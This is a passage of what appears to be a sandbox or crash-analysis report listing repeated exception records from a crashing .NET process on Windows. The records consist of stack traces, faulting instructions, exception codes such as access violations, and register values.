__exception__ March 5, 2023, 2:22 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72781194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72652ba1 mscorlib+0x36dd44 @ 0x70d7dd44 mscorlib+0x32fea6 @ 0x70d3fea6 mscorlib+0x30ab40 @ 0x70d1ab40 0x9c947a 0x9c932e 0x9c8aa9 0x9c7ece 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 2616796 registers.edi: 0 registers.eax: 2616796 registers.ebp: 2616876 registers.edx: 0 registers.ebx: 4961944 registers.esi: 4236432 registers.ecx: 1488884791	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9cf5b6 0x9cf477 0x9cf375 0x9ce9ff 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616628 registers.edi: 2616852 registers.eax: 0 registers.ebp: 2616864 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 47625188 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9cf5b6 0x9cf477 0x9cf38d 0x9ce9ff 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616628 registers.edi: 2616852 registers.eax: 0 registers.ebp: 2616864 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 47625188 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9cf5b6 0x9cf477 0x9cf38d 0x9ce9ff 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616628 registers.edi: 2616852 registers.eax: 0 registers.ebp: 2616864 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5573aac 0x5573958 0x9cf375 0x9cec9d 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616632 registers.edi: 2616856 registers.eax: 0 registers.ebp: 2616868 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5573aac 0x5573958 0x9cf38d 0x9cec9d 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616632 registers.edi: 2616856 registers.eax: 0 registers.ebp: 2616868 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5573aac 0x5573958 0x9cf38d 0x9cec9d 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616632 registers.edi: 2616856 registers.eax: 0 registers.ebp: 2616868 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x557418b 0x5574010 0x9cf375 0x9ced9c 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616644 registers.edi: 2616868 registers.eax: 0 registers.ebp: 2616880 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x557418b 0x5574010 0x9cf38d 0x9ced9c 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616644 registers.edi: 2616868 registers.eax: 0 registers.ebp: 2616880 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x557418b 0x5574010 0x9cf38d 0x9ced9c 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616644 registers.edi: 2616868 registers.eax: 0 registers.ebp: 2616880 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55748bb 0x5574788 0x9cf375 0x9cee89 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616728 registers.edi: 2616952 registers.eax: 0 registers.ebp: 2616964 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45732376 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55748bb 0x5574788 0x9cf38d 0x9cee89 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616728 registers.edi: 2616952 registers.eax: 0 registers.ebp: 2616964 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45731740 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55748bb 0x5574788 0x9cf38d 0x9cee89 0x9ce205 0x9c7c87 0x9c25a5 0x9c20b6 0x9c05a0 0x9c006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 8c 2a 92 00 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9cfebe registers.esp: 2616728 registers.edi: 2616952 registers.eax: 0 registers.ebp: 2616964 registers.edx: 9578780 registers.ebx: 2618740 registers.esi: 45731740 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9a7494 0x9a73b6 0x9a24dd 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9a7588 registers.esp: 3731752 registers.edi: 3731804 registers.eax: 0 registers.ebp: 3731816 registers.edx: 6186000 registers.ebx: 3732708 registers.esi: 46101420 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9acdbe 0x9acc7f 0x9acb7d 0x9ab7da 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 